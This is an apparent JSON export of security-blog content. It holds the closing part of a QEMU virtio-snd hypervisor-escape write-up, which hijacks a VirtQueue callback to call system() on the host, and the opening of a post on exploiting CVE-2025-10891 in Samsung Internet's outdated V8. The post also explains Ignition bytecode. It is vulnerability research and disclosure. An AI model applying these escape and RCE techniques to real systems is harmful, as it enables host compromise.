209},{"style":259},[129210],{"type":28,"value":262},{"type":23,"tag":139,"props":129212,"children":129213},{"style":982},[129214],{"type":28,"value":1085},{"type":23,"tag":139,"props":129216,"children":129217},{"style":294},[129218],{"type":28,"value":34151},{"type":23,"tag":139,"props":129220,"children":129221},{"style":259},[129222],{"type":28,"value":11768},{"type":23,"tag":139,"props":129224,"children":129225},{"style":294},[129226],{"type":28,"value":122232},{"type":23,"tag":139,"props":129228,"children":129229},{"style":259},[129230],{"type":28,"value":129231},", buffer, entry);\n",{"type":23,"tag":139,"props":129233,"children":129234},{"class":141,"line":21678},[129235],{"type":23,"tag":139,"props":129236,"children":129237},{"style":259},[129238],{"type":28,"value":1326},{"type":23,"tag":24,"props":129240,"children":129241},{},[129242,129243,129248,129250,129255,129257,129262,129264,129270],{"type":28,"value":122286},{"type":23,"tag":135,"props":129244,"children":129246},{"className":129245},[],[129247],{"type":28,"value":122292},{"type":28,"value":129249},", QEMU allocates a ",{"type":23,"tag":135,"props":129251,"children":129253},{"className":129252},[],[129254],{"type":28,"value":122429},{"type":28,"value":129256}," whose size depends on the guest-provided iovec, and at ",{"type":23,"tag":135,"props":129258,"children":129260},{"className":129259},[],[129261],{"type":28,"value":122327},{"type":28,"value":129263}," it stores the ",{"type":23,"tag":135,"props":129265,"children":129267},{"className":129266},[],[129268],{"type":28,"value":129269},"VirtQueue *vq",{"type":28,"value":129271}," pointer into the buffer.",{"type":23,"tag":24,"props":129273,"children":129274},{},[129275,129276,129282],{"type":28,"value":62117},{"type":23,"tag":135,"props":129277,"children":129279},{"className":129278},[],[129280],{"type":28,"value":129281},"VirtQueue",{"type":28,"value":129283}," structure contains some useful fields:",{"type":23,"tag":128,"props":129285,"children":129287},{"code":129286,"language":1123,"meta":7,"className":14526,"style":7},"struct VirtQueue\n{\n    [...]\n\n    VirtIOHandleOutput handle_output;\n    VirtIODevice *vdev;\n\n    [...]\n};\n",[129288],{"type":23,"tag":135,"props":129289,"children":129290},{"__ignoreMap":7},[129291,129303,129310,129317,129324,129332,129349,129356,129363],{"type":23,"tag":139,"props":129292,"children":129293},{"class":141,"line":142},[129294,129298],{"type":23,"tag":139,"props":129295,"children":129296},{"style":279},[129297],{"type":28,"value":7409},{"type":23,"tag":139,"props":129299,"children":129300},{"style":259},[129301],{"type":28,"value":129302}," VirtQueue\n",{"type":23,"tag":139,"props":129304,"children":129305},{"class":141,"line":151},[129306],{"type":23,"tag":139,"props":129307,"children":129308},{"style":259},[129309],{"type":28,"value":8890},{"type":23,"tag":139,"props":129311,"children":129312},{"class":141,"line":160},[129313],{"type":23,"tag":139,"props":129314,"children":129315},{"style":259},[129316],{"type":28,"value":102705},{"type":23,"tag":139,"props":129318,"children":129319},{"class":141,"line":169},[129320],{"type":23,"tag":139,"props":129321,"children":129322},{"emptyLinePlaceholder":15},[129323],{"type":28,"value":184},{"type":23,"tag":139,"props":129325,"children":129326},{"class":141,"line":178},[129327],{"type":23,"tag":139,"props":129328,"children":129329},{"style":259},[129330],{"type":28,"value":129331},"    VirtIOHandleOutput handle_output;\n",{"type":23,"tag":139,"props":129333,"children":129334},{"class":141,"line":187},[129335,129340,129344],{"type":23,"tag":139,"props":129336,"children":129337},{"style":259},[129338],{"type":28,"value":129339},"    VirtIODevice ",{"type":23,"tag":139,"props":129341,"children":129342},{"style":982},[129343],{"type":28,"value":2573},{"type":23,"tag":139,"props":129345,"children":129346},{"style":259},[129347],{"type":28,"value":129348},"vdev;\n",{"type":23,"tag":139,"props":129350,"children":129351},{"class":141,"line":196},[129352],{"type":23,"tag":139,"props":129353,"children":129354},{"emptyLinePlaceholder":15},[129355],{"type":28,"value":184},{"type":23,"tag":139,"props":129357,"children":129358},{"class":141,"line":205},[129359],{"type":23,"tag":139,"props":129360,"children":129361},{"style":259},[129362],{"type":28,"value":102705},{"type":23,"tag":139,"props":129364,"children":129365},{"class":141,"line":214},[129366],{"type":23,"tag":139,"props":129367,"children":129368},{"style":259},[129369],{"type":28,"value":14589},{"type":23,"tag":24,"props":129371,"children":129372},{},[129373,129374,129380,129382,129388],{"type":28,"value":14625},{"type":23,"tag":135,"props":129375,"children":129377},{"className":129376},[],[129378],{"type":28,"value":129379},".handle_output",{"type":28,"value":129381}," field is a callback, specifically a function pointer that gets called when the virtqueue receives a notification from the guest, and ",{"type":23,"tag":135,"props":129383,"children":129385},{"className":129384},[],[129386],{"type":28,"value":129387},".vdev",{"type":28,"value":129389}," is the pointer passed to it as the first argument:",{"type":23,"tag":128,"props":129391,"children":129393},{"code":129392,"language":1123,"meta":7,"className":14526,"style":7},"static void virtio_queue_notify_vq(VirtQueue *vq)\n{\n    if (vq->vring.desc && vq->handle_output) {\n        VirtIODevice *vdev = vq->vdev;\n\n        [...]\n\n        vq->handle_output(vdev, vq);\n\n        [...]\n    }\n}\n",[129394],{"type":23,"tag":135,"props":129395,"children":129396},{"__ignoreMap":7},[129397,129430,129437,129492,129529,129536,129543,129550,129571,129578,129585,129592],{"type":23,"tag":139,"props":129398,"children":129399},{"class":141,"line":142},[129400,129404,129408,129413,129418,129422,129426],{"type":23,"tag":139,"props":129401,"children":129402},{"style":279},[129403],{"type":28,"value":48942},{"type":23,"tag":139,"props":129405,"children":129406},{"style":279},[129407],{"type":28,"value":48947},{"type":23,"tag":139,"props":129409,"children":129410},{"style":245},[129411],{"type":28,"value":129412}," virtio_queue_notify_vq",{"type":23,"tag":139,"props":129414,"children":129415},{"style":259},[129416],{"type":28,"value":129417},"(VirtQueue ",{"type":23,"tag":139,"props":129419,"children":129420},{"style":982},[129421],{"type":28,"value":2573},{"type":23,"tag":139,"props":129423,"children":129424},{"style":294},[129425],{"type":28,"value":121776},{"type":23,"tag":139,"props":129427,"children":129428},{"style":259},[129429],{"type":28,"value":273},{"type":23,"tag":139,"props":129431,"children":129432},{"class":141,"line":151},[129433],{"type":23,"tag":139,"props":129434,"children":129435},{"style":259},[129436],{"type":28,"value":8890},{"type":23,"tag":139,"props":129438,"children":129439},{"class":141,"line":160},[129440,129444,129448,129452,129456,129461,129465,129470,129474,129479,129483,129488],{"type":23,"tag":139,"props":129441,"children":129442},{"style":319},[129443],{"type":28,"value":10290},{"type":23,"tag":139,"props":129445,"children":129446},{"style":259},[129447],{"type":28,"value":1042},{"type":23,"tag":139,"props":129449,"children":129450},{"style":294},[129451],{"type":28,"value":121776},{"type":23,"tag":139,"props":129453,"children":129454},{"style":259},[129455],{"type":28,"value":11768},{"type":23,"tag":139,"props":129457,"children":129458},{"style":294},[129459],{"type":28,"value":129460},"vring",{"type":23,"tag":139,"props":129462,"children":129463},{"style":259},[129464],{"type":28,"value":73},{"type":23,"tag":139,"props":129466,"children":129467},{"style":294},[129468],{"type":28,"value":129469},"desc",{"type":23,"tag":139,"props":129471,"children":129472},{"style":982},[129473],{"type":28,"value":12196},{"type":23,"tag":139,"props":129475,"children":129476},{"style":294},[129477],{"type":28,"value":129478}," vq",{"type":23,"tag":139,"props":129480,"children":129481},{"style":259},[129482],{"type":28,"value":11768},{"type":23,"tag":139,"props":129484,"children":129485},{"style":294},[129486],{"type":28,"value":129487},"handle_output",{"type":23,"tag":139,"props":129489,"children":129490},{"style":259},[129491],{"type":28,"value":12815},{"type":23,"tag":139,"props":129493,"children":129494},{"class":141,"line":169},[129495,129500,129504,129509,129513,129517,129521,129525],{"type":23,"tag":139,"props":129496,"children":129497},{"style":259},[129498],{"type":28,"value":129499},"        VirtIODevice ",{"type":23,"tag":139,"props":129501,"children":129502},{"style":982},[129503],{"type":28,"value":2573},{"type":23,"tag":139,"props":129505,"children":129506},{"style":259},[129507],{"type":28,"value":129508},"vdev ",{"type":23,"tag":139,"props":129510,"children":129511},{"style":982},[129512],{"type":28,"value":1067},{"type":23,"tag":139,"props":129514,"children":129515},{"style":294},[129516],{"type":28,"value":129478},{"type":23,"tag":139,"props":129518,"children":129519},{"style":259},[129520],{"type":28,"value":11768},{"type":23,"tag":139,"props":129522,"children":129523},{"style":294},[129524],{"type":28,"value":121762},{"type":23,"tag":139,"props":129526,"children":129527},{"style":259},[129528],{"type":28,"value":995},{"type":23,"tag":139,"props":129530,"children":129531},{"class":141,"line":178},[129532],{"type":23,"tag":139,"props":129533,"children":129534},{"emptyLinePlaceholder":15},[129535],{"type":28,"value":184},{"type":23,"tag":139,"props":129537,"children":129538},{"class":141,"line":187},[129539],{"type":23,"tag":139,"props":129540,"children":129541},{"style":259},[129542],{"type":28,"value":121943},{"type":23,"tag":139,"props":129544,"children":129545},{"class":141,"line":196},[129546],{"type":23,"tag":139,"props":129547,"children":129548},{"emptyLinePlaceholder":15},[129549],{"type":28,"value":184},{"type":23,"tag":139,"props":129551,"children":129552},{"class":141,"line":205},[129553,129558,129562,129566],{"type":23,"tag":139,"props":129554,"children":129555},{"style":294},[129556],{"type":28,"value":129557},"        vq",{"type":23,"tag":139,"props":129559,"children":129560},{"style":259},[129561],{"type":28,"value":11768},{"type":23,"tag":139,"props":129563,"children":129564},{"style":245},[129565],{"type":28,"value":129487},{"type":23,"tag":139,"props":129567,"children":129568},{"style":259},[129569],{"type":28,"value":129570},"(vdev, vq);\n",{"type":23,"tag":139,"props":129572,"children":129573},{"class":141,"line":214},[129574],{"type":23,"tag":139,"props":129575,"children":129576},{"emptyLinePlaceholder":15},[129577],{"type":28,"value":184},{"type":23,"tag":139,"props":129579,"children":129580},{"class":141,"line":1320},[129581],{"type":23,"tag":139,"props":129582,"children":129583},{"style":259},[129584],{"type":28,"value":121943},{"type":23,"tag":139,"props":129586,"children":129587},{"class":141,"line":1329},[129588],{"type":23,"tag":139,"props":129589,"children":129590},{"style":259},[129591],{"type":28,"value":1335},{"type":23,"tag":139,"props":129593,"children":129594},{"class":141,"line":1580},[129595],{"type":23,"tag":139,"props":129596,"children":129597},{"style":259},[129598],{"type":28,"value":1897},{"type":23,"tag":24,"props":129600,"children":129601},{},[129602,129604,129609,129611,129616,129618,129624,129626,129631,129632,129637,129639,129644],{"type":28,"value":129603},"This means that if we free the known-address chunk and replace it with a ",{"type":23,"tag":135,"props":129605,"children":129607},{"className":129606},[],[129608],{"type":28,"value":122429},{"type":28,"value":129610}," - which is straightforward, since we control the buffer allocation size through the ",{"type":23,"tag":135,"props":129612,"children":129614},{"className":129613},[],[129615],{"type":28,"value":122017},{"type":28,"value":129617}," iovec - we can use the arbitrary read primitive to read its ",{"type":23,"tag":135,"props":129619,"children":129621},{"className":129620},[],[129622],{"type":28,"value":129623},".vq",{"type":28,"value":129625}," pointer, then follow that pointer to leak ",{"type":23,"tag":135,"props":129627,"children":129629},{"className":129628},[],[129630],{"type":28,"value":129379},{"type":28,"value":14064},{"type":23,"tag":135,"props":129633,"children":129635},{"className":129634},[],[129636],{"type":28,"value":129281},{"type":28,"value":129638}," structure. In our case, that field points to ",{"type":23,"tag":135,"props":129640,"children":129642},{"className":129641},[],[129643],{"type":28,"value":121669},{"type":28,"value":129645},", which gives us QEMU's base address.",{"type":23,"tag":24,"props":129647,"children":129648},{},[129649,129651,129657],{"type":28,"value":129650},"From there, we can use the arbitrary read primitive once more to read a resolved entry from QEMU's GOT, leaking a libc address. With that, we can compute the address of ",{"type":23,"tag":135,"props":129652,"children":129654},{"className":129653},[],[129655],{"type":28,"value":129656},"system",{"type":28,"value":73},{"type":23,"tag":666,"props":129659,"children":129661},{"id":129660},"rip-control",[129662],{"type":28,"value":129663},"RIP Control",{"type":23,"tag":24,"props":129665,"children":129666},{},[129667,129669,129674,129676,129682],{"type":28,"value":129668},"At this point, we have everything we need: an arbitrary read/write primitive, a QEMU code leak, and the address of ",{"type":23,"tag":135,"props":129670,"children":129672},{"className":129671},[],[129673],{"type":28,"value":129656},{"type":28,"value":129675},". To hijack control flow, we do not need to look far - we just described a function pointer on the heap at a known address: ",{"type":23,"tag":135,"props":129677,"children":129679},{"className":129678},[],[129680],{"type":28,"value":129681},"VirtQueue.handle_output",{"type":28,"value":73},{"type":23,"tag":24,"props":129684,"children":129685},{},[129686,129688,129693,129695,129700,129702,129707],{"type":28,"value":129687},"We overwrite ",{"type":23,"tag":135,"props":129689,"children":129691},{"className":129690},[],[129692],{"type":28,"value":129379},{"type":28,"value":129694}," with the address of ",{"type":23,"tag":135,"props":129696,"children":129698},{"className":129697},[],[129699],{"type":28,"value":129656},{"type":28,"value":129701}," and write the command string we want to execute into memory using our arbitrary write. Then we overwrite ",{"type":23,"tag":135,"props":129703,"children":129705},{"className":129704},[],[129706],{"type":28,"value":129387},{"type":28,"value":129708}," with the address of that command string, so it is passed as the first argument.",{"type":23,"tag":24,"props":129710,"children":129711},{},[129712,129714,129720,129722,129728,129730,129736],{"type":28,"value":129713},"Then, we simply notify the virtqueue from the guest. QEMU enters ",{"type":23,"tag":135,"props":129715,"children":129717},{"className":129716},[],[129718],{"type":28,"value":129719},"virtio_queue_notify_vq",{"type":28,"value":129721},", which calls ",{"type":23,"tag":135,"props":129723,"children":129725},{"className":129724},[],[129726],{"type":28,"value":129727},"vq->handle_output(vq->vdev)",{"type":28,"value":129729}," - or, after our overwrites, ",{"type":23,"tag":135,"props":129731,"children":129733},{"className":129732},[],[129734],{"type":28,"value":129735},"system(command)",{"type":28,"value":73},{"type":23,"tag":24,"props":129738,"children":129739},{},[129740,129742,129748,129750],{"type":28,"value":129741},"Finally, with all of this, we achieve a reliable guest-to-host escape and execute ",{"type":23,"tag":135,"props":129743,"children":129745},{"className":129744},[],[129746],{"type":28,"value":129747},"gnome-calculator",{"type":28,"value":129749}," on the host system:\n",{"type":23,"tag":586,"props":129751,"children":129752},{},[],{"type":23,"tag":129754,"props":129755,"children":129764},"tweet-card",{"author-name":129756,"date":129757,"duration":129758,"handle":129759,"media-mime-type":129760,"media-src":129761,"media-type":129762,"tweet-url":129763},"OtterSec","March 5, 2026","0:12","@osec_io","video/mp4","/posts/virtio-snd-qemu-0day/demo.mp4","video","https://x.com/osec_io/status/2029643325125390550",[129765,129770,129775],{"type":23,"tag":24,"props":129766,"children":129767},{},[129768],{"type":28,"value":129769},"We recently achieved guest-to-host escape by exploiting a QEMU 0day.",{"type":23,"tag":24,"props":129771,"children":129772},{},[129773],{"type":28,"value":129774},"We’ll share details on a new technique leveraging the latest glibc allocator behavior and what we believe is a novel QEMU-specific heap spray/RIP-control primitive.",{"type":23,"tag":24,"props":129776,"children":129777},{},[129778],{"type":28,"value":129779},"Writeup coming next week.",{"type":23,"tag":586,"props":129781,"children":129782},{},[],{"type":23,"tag":24,"props":129784,"children":129785},{},[129786,129788,129794,129796,129802],{"type":28,"value":129787},"The final exploit, targeting QEMU commit ",{"type":23,"tag":135,"props":129789,"children":129791},{"className":129790},[],[129792],{"type":28,"value":129793},"ece408818d27f745ef1b05fb3cc99a1e7a5bf580",{"type":28,"value":129795}," (Feb 13, 2026) and the latest glibc 2.43, can be found ",{"type":23,"tag":64,"props":129797,"children":129800},{"href":129798,"rel":129799},"https://github.com/otter-sec/qemu-escape",[68],[129801],{"type":28,"value":45481},{"type":28,"value":73},{"type":23,"tag":24,"props":129804,"children":129805},{},[129806,129808,129815],{"type":28,"value":129807},"Special thanks to ",{"type":23,"tag":64,"props":129809,"children":129812},{"href":129810,"rel":129811},"https://www.willsroot.io/",[68],[129813],{"type":28,"value":129814},"William Liu",{"type":28,"value":129816}," for proofreading this post and helping us polish it before publication.",{"type":23,"tag":41,"props":129818,"children":129819},{"id":26955},[129820],{"type":28,"value":16955},{"type":23,"tag":24,"props":129822,"children":129823},{},[129824],{"type":28,"value":129825},"Starting from a heap overflow where the written bytes are effectively random, we showed how careful heap grooming and a favorable change in glibc 2.43's allocator can turn even a single byte of uncontrolled corruption into a reliable guest-to-host escape.",{"type":23,"tag":24,"props":129827,"children":129828},{},[129829],{"type":28,"value":129830},"More broadly, this exploit is a reminder that weak-looking primitives should not be dismissed too quickly - with the right heap layout and target, even highly constrained corruption can be enough.",{"type":23,"tag":817,"props":129832,"children":129833},{},[129834],{"type":28,"value":821},{"title":7,"searchDepth":151,"depth":151,"links":129836},[129837,129840,129843,129852],{"id":121565,"depth":151,"text":121578,"children":129838},[129839],{"id":121586,"depth":160,"text":121589},{"id":121610,"depth":151,"text":121613,"children":129841},[129842],{"id":121624,"depth":160,"text":121624},{"id":98012,"depth":151,"text":98015,"children":129844},[129845,129846,129847,129848,129849,129850,129851],{"id":124216,"depth":160,"text":124219},{"id":125743,"depth":160,"text":125746},{"id":126537,"depth":160,"text":126540},{"id":126942,"depth":160,"text":126945},{"id":127158,"depth":160,"text":127161},{"id":127364,"depth":160,"text":127367},{"id":129660,"depth":160,"text":129663},{"id":26955,"depth":151,"text":16955},"content:blog:2026-03-17-virtio-snd-qemu-hypervisor-escape.md","blog/2026-03-17-virtio-snd-qemu-hypervisor-escape.md","blog/2026-03-17-virtio-snd-qemu-hypervisor-escape",{"_path":129857,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":129858,"description":129859,"date":129860,"author":129861,"image":129864,"isFeatured":15,"onBlogPage":15,"tags":129866,"body":129869,"_type":831,"_id":139777,"_source":833,"_file":139778,"_stem":139779,"_extension":836},"/blog/2026-04-01-patch-gap-to-mobile-renderer-rce","Patch Gap to Mobile Renderer RCE: Pwning Samsung Internet's V8 on the Galaxy S25","Samsung Internet on the Galaxy S25 shipped a six-month-old version of V8, exposing it to publicly known bugs. Learn how we exploited a bytecode interpreter vulnerability to achieve renderer RCE and universal XSS in the browser.","2026-04-01T12:00:00.000Z",[121561,129862,129863],"jamie","william",{"src":129865,"width":95172,"height":13},"/posts/mobile-renderer-rce/title.png",[129867,129868],"RCE","mobile",{"type":20,"children":129870,"toc":139757},[129871,129875,129880,129894,129900,129914,129935,129943,129956,129964,129977,129983,129996,130010,130016,130030,130133,130138,130146,130151,130156,130177,130255,130263,130282,130295,130301,130307,130321,130437,130442,130447,130455,130460,130468,130496,130525,130537,130713,130718,130726,130745,130758,130764,130784,130798,130803,130808,130836,130872,130941,130947,130969,130974,130982,130995,131000,131008,131013,131052,131058,131071,131076,131254,131264,131272,131292,131316,131329,131335,131340,131982,131987,131995,132037,134026,134031,134039,134045,134078,134096,134266,134324,134349,134443,134448,135239,135244,135252,135263,137307,137312,137320,137326,137348,137362,137375,137387,137417,137422,137863,137891,137998,138015,138172,138177,138189,138485,138511,138534,138666,138678,138683,138835,138871,138884,138889,139011,139052,139129,139134,139708,139714,139726,139739,139743,139748,139753],{"type":23,"tag":41,"props":129872,"children":129873},{"id":27037},[129874],{"type":28,"value":27040},{"type":23,"tag":24,"props":129876,"children":129877},{},[129878],{"type":28,"value":129879},"The supply chain dependency in today's software landscape is extremely complex. Any vulnerability in a core library creates an exploitable window for its dependents - maintainers either fall behind on the exhausting update schedule, backport incorrectly, or even forget about it entirely.",{"type":23,"tag":24,"props":129881,"children":129882},{},[129883,129885,129892],{"type":28,"value":129884},"One such example is V8, a JavaScript engine used ubiquitously in Chromium and Node.js-based software. In collaboration with the ",{"type":23,"tag":64,"props":129886,"children":129889},{"href":129887,"rel":129888},"https://cor.team",[68],[129890],{"type":28,"value":129891},"Crusaders of Rust",{"type":28,"value":129893}," Security Research Group, we decided to analyze the version of V8 in Samsung Internet (the default browser on Samsung phones) on a Samsung Galaxy S25 in hopes of an n-day exploitation opportunity.",{"type":23,"tag":666,"props":129895,"children":129897},{"id":129896},"finding-the-v8-version",[129898],{"type":28,"value":129899},"Finding the V8 Version",{"type":23,"tag":24,"props":129901,"children":129902},{},[129903,129905,129912],{"type":28,"value":129904},"We started by pulling Samsung Internet's APK from the device over ",{"type":23,"tag":64,"props":129906,"children":129909},{"href":129907,"rel":129908},"https://developer.android.com/tools/adb",[68],[129910],{"type":28,"value":129911},"adb",{"type":28,"value":129913}," and inspecting the libraries it shipped with.",{"type":23,"tag":24,"props":129915,"children":129916},{},[129917,129919,129925,129927,129933],{"type":28,"value":129918},"After extracting the APK, we searched the ",{"type":23,"tag":135,"props":129920,"children":129922},{"className":129921},[],[129923],{"type":28,"value":129924},"lib/",{"type":28,"value":129926}," directory for ",{"type":23,"tag":135,"props":129928,"children":129930},{"className":129929},[],[129931],{"type":28,"value":129932},"v8::*",{"type":28,"value":129934}," symbols:",{"type":23,"tag":128,"props":129936,"children":129938},{"code":129937},"$ grep -r 'v8::' lib/\ngrep: lib/arm64-v8a/libterrace.so: binary file matches\n",[129939],{"type":23,"tag":135,"props":129940,"children":129941},{"__ignoreMap":7},[129942],{"type":28,"value":129937},{"type":23,"tag":24,"props":129944,"children":129945},{},[129946,129948,129954],{"type":28,"value":129947},"Only one file matched our search: ",{"type":23,"tag":135,"props":129949,"children":129951},{"className":129950},[],[129952],{"type":28,"value":129953},"libterrace.so",{"type":28,"value":129955},". We then loaded it into a decompiler to inspect it more closely, which is where we found the bundled V8 version:",{"type":23,"tag":24,"props":129957,"children":129958},{},[129959],{"type":23,"tag":429,"props":129960,"children":129963},{"alt":129961,"src":129962},"image1","/posts/mobile-renderer-rce/image1.png",[],{"type":23,"tag":24,"props":129965,"children":129966},{},[129967,129969,129975],{"type":28,"value":129968},"Surprisingly, this ",{"type":23,"tag":135,"props":129970,"children":129972},{"className":129971},[],[129973],{"type":28,"value":129974},"13.6.233.10",{"type":28,"value":129976}," version was already six months old at the time, with multiple publicly known bugs affecting it.",{"type":23,"tag":666,"props":129978,"children":129980},{"id":129979},"choosing-the-bug",[129981],{"type":28,"value":129982},"Choosing the Bug",{"type":23,"tag":24,"props":129984,"children":129985},{},[129986,129988,129994],{"type":28,"value":129987},"We were able to trigger a couple of bugs on our locally compiled ",{"type":23,"tag":135,"props":129989,"children":129991},{"className":129990},[],[129992],{"type":28,"value":129993},"d8",{"type":28,"value":129995}," matching the target version. One of them was CVE-2025-5419 - a store-store elimination bug that we managed to get working on the device. However, exploitation required heap spraying, which would present significant stability issues when porting to the phone.",{"type":23,"tag":24,"props":129997,"children":129998},{},[129999,130001,130008],{"type":28,"value":130000},"Another one was ",{"type":23,"tag":64,"props":130002,"children":130005},{"href":130003,"rel":130004},"https://issuetracker.google.com/issues/443875388",[68],[130006],{"type":28,"value":130007},"CVE-2025-10891",{"type":28,"value":130009}," - a bug in the Ignition bytecode interpreter. This one was attractive as bytecode is treated as trusted under the V8 sandbox model, meaning that a separate Übercage bypass would not be required. Given this, we decided to explore this bug further.",{"type":23,"tag":41,"props":130011,"children":130013},{"id":130012},"ignition-bytecode-introduction",[130014],{"type":28,"value":130015},"Ignition Bytecode Introduction",{"type":23,"tag":24,"props":130017,"children":130018},{},[130019,130021,130028],{"type":28,"value":130020},"V8 initially compiles all JS code to a bytecode format with the ",{"type":23,"tag":64,"props":130022,"children":130025},{"href":130023,"rel":130024},"https://v8.dev/blog/ignition-interpreter",[68],[130026],{"type":28,"value":130027},"Ignition",{"type":28,"value":130029}," interpreter.\nThis is a simple register-based VM with fixed size opcodes (and prefix bytes to increase operand width). For instance:",{"type":23,"tag":128,"props":130031,"children":130033},{"code":130032,"language":29252,"meta":7,"className":29250,"style":7},"let a = 1;\nlet b = 0x0fff;\nlet c = 0x0fffffff;\nlet d = 0xffffffff;\n",[130034],{"type":23,"tag":135,"props":130035,"children":130036},{"__ignoreMap":7},[130037,130060,130084,130108],{"type":23,"tag":139,"props":130038,"children":130039},{"class":141,"line":142},[130040,130044,130048,130052,130056],{"type":23,"tag":139,"props":130041,"children":130042},{"style":279},[130043],{"type":28,"value":9798},{"type":23,"tag":139,"props":130045,"children":130046},{"style":294},[130047],{"type":28,"value":87740},{"type":23,"tag":139,"props":130049,"children":130050},{"style":982},[130051],{"type":28,"value":985},{"type":23,"tag":139,"props":130053,"children":130054},{"style":1016},[130055],{"type":28,"value":2525},{"type":23,"tag":139,"props":130057,"children":130058},{"style":259},[130059],{"type":28,"value":995},{"type":23,"tag":139,"props":130061,"children":130062},{"class":141,"line":151},[130063,130067,130071,130075,130080],{"type":23,"tag":139,"props":130064,"children":130065},{"style":279},[130066],{"type":28,"value":9798},{"type":23,"tag":139,"props":130068,"children":130069},{"style":294},[130070],{"type":28,"value":88614},{"type":23,"tag":139,"props":130072,"children":130073},{"style":982},[130074],{"type":28,"value":985},{"type":23,"tag":139,"props":130076,"children":130077},{"style":1016},[130078],{"type":28,"value":130079}," 0x0fff",{"type":23,"tag":139,"props":130081,"children":130082},{"style":259},[130083],{"type":28,"value":995},{"type":23,"tag":139,"props":130085,"children":130086},{"class":141,"line":160},[130087,130091,130095,130099,130104],{"type":23,"tag":139,"props":130088,"children":130089},{"style":279},[130090],{"type":28,"value":9798},{"type":23,"tag":139,"props":130092,"children":130093},{"style":294},[130094],{"type":28,"value":35335},{"type":23,"tag":139,"props":130096,"children":130097},{"style":982},[130098],{"type":28,"value":985},{"type":23,"tag":139,"props":130100,"children":130101},{"style":1016},[130102],{"type":28,"value":130103}," 0x0fffffff",{"type":23,"tag":139,"props":130105,"children":130106},{"style":259},[130107],{"type":28,"value":995},{"type":23,"tag":139,"props":130109,"children":130110},{"class":141,"line":169},[130111,130115,130120,130124,130129],{"type":23,"tag":139,"props":130112,"children":130113},{"style":279},[130114],{"type":28,"value":9798},{"type":23,"tag":139,"props":130116,"children":130117},{"style":294},[130118],{"type":28,"value":130119}," d",{"type":23,"tag":139,"props":130121,"children":130122},{"style":982},[130123],{"type":28,"value":985},{"type":23,"tag":139,"props":130125,"children":130126},{"style":1016},[130127],{"type":28,"value":130128}," 0xffffffff",{"type":23,"tag":139,"props":130130,"children":130131},{"style":259},[130132],{"type":28,"value":995},{"type":23,"tag":24,"props":130134,"children":130135},{},[130136],{"type":28,"value":130137},"compiles to",{"type":23,"tag":128,"props":130139,"children":130141},{"code":130140}," # Load the Smi `1` into the accumulator\n 0 : 0d 01             LdaSmi [1]\n # Store it to register 0\n 2 : ce                Star0\n # Load the 2-byte Smi `0xfff` into acc\n 3 : 00 0d ff 0f       LdaSmi.Wide [4095]\n # Store it to register 1\n 7 : cd                Star1\n # Load the 4-byte Smi `0xfffffff` into acc\n 8 : 01 0d ff ff ff 0f LdaSmi.ExtraWide [268435455]\n # Store it to register 2\n14 : cc                Star2\n# `0xffffffff` doesn't fit into an Smi, so a `HeapNumber` is allocated in the function's constant pool and loaded\n15 : 13 00             LdaConstant [0]\n# Store it to register 3\n17 : cb                Star3\n18 : 0e                LdaUndefined\n19 : b3                Return\n",[130142],{"type":23,"tag":135,"props":130143,"children":130144},{"__ignoreMap":7},[130145],{"type":28,"value":130140},{"type":23,"tag":24,"props":130147,"children":130148},{},[130149],{"type":28,"value":130150},"Ignition bytecode is then passed through the Sparkplug, Maglev, and Turbofan JIT compilers depending on the required amount of optimization. Yes, V8 has FOUR compilers, all so that slop devs can continue \"engineering\" their RAM-hungry, CPU-draining web apps that have plagued the modern internet.",{"type":23,"tag":666,"props":130152,"children":130154},{"id":130153},"cve-2025-10891",[130155],{"type":28,"value":130007},{"type":23,"tag":24,"props":130157,"children":130158},{},[130159,130161,130167,130169,130175],{"type":28,"value":130160},"The bug is in the handling of try/catch blocks. These are encoded in a function as a list of ",{"type":23,"tag":135,"props":130162,"children":130164},{"className":130163},[],[130165],{"type":28,"value":130166},"[start, end) => handler",{"type":28,"value":130168}," offsets - if an exception is thrown in the given bytecode address range, ",{"type":23,"tag":135,"props":130170,"children":130172},{"className":130171},[],[130173],{"type":28,"value":130174},"handler",{"type":28,"value":130176}," is jumped to.",{"type":23,"tag":128,"props":130178,"children":130180},{"code":130179,"language":29252,"meta":7,"className":29250,"style":7},"try {\n  throw 1;\n} catch {\n  let b = 2;\n}\n",[130181],{"type":23,"tag":135,"props":130182,"children":130183},{"__ignoreMap":7},[130184,130195,130210,130225,130248],{"type":23,"tag":139,"props":130185,"children":130186},{"class":141,"line":142},[130187,130191],{"type":23,"tag":139,"props":130188,"children":130189},{"style":319},[130190],{"type":28,"value":46228},{"type":23,"tag":139,"props":130192,"children":130193},{"style":259},[130194],{"type":28,"value":1268},{"type":23,"tag":139,"props":130196,"children":130197},{"class":141,"line":151},[130198,130202,130206],{"type":23,"tag":139,"props":130199,"children":130200},{"style":319},[130201],{"type":28,"value":33091},{"type":23,"tag":139,"props":130203,"children":130204},{"style":1016},[130205],{"type":28,"value":2525},{"type":23,"tag":139,"props":130207,"children":130208},{"style":259},[130209],{"type":28,"value":995},{"type":23,"tag":139,"props":130211,"children":130212},{"class":141,"line":160},[130213,130217,130221],{"type":23,"tag":139,"props":130214,"children":130215},{"style":259},[130216],{"type":28,"value":44770},{"type":23,"tag":139,"props":130218,"children":130219},{"style":319},[130220],{"type":28,"value":46308},{"type":23,"tag":139,"props":130222,"children":130223},{"style":259},[130224],{"type":28,"value":1268},{"type":23,"tag":139,"props":130226,"children":130227},{"class":141,"line":169},[130228,130232,130236,130240,130244],{"type":23,"tag":139,"props":130229,"children":130230},{"style":279},[130231],{"type":28,"value":5859},{"type":23,"tag":139,"props":130233,"children":130234},{"style":294},[130235],{"type":28,"value":88614},{"type":23,"tag":139,"props":130237,"children":130238},{"style":982},[130239],{"type":28,"value":985},{"type":23,"tag":139,"props":130241,"children":130242},{"style":1016},[130243],{"type":28,"value":5938},{"type":23,"tag":139,"props":130245,"children":130246},{"style":259},[130247],{"type":28,"value":995},{"type":23,"tag":139,"props":130249,"children":130250},{"class":141,"line":178},[130251],{"type":23,"tag":139,"props":130252,"children":130253},{"style":259},[130254],{"type":28,"value":1897},{"type":23,"tag":128,"props":130256,"children":130258},{"code":130257}," 0 : 1b ff f8          Mov \u003Ccontext>, r1\n # Start of try block\n # ---------------------------------\n 3 : 0d 01             LdaSmi [1]\n 5 : b1                Throw\n # ---------------------------------\n 6 : 10                LdaTheHole\n 7 : b0                SetPendingMessage\n # Start of catch handler\n 8 : 0d 02             LdaSmi [2]\n10 : ce                Star0\n11 : 0e                LdaUndefined\n12 : b3                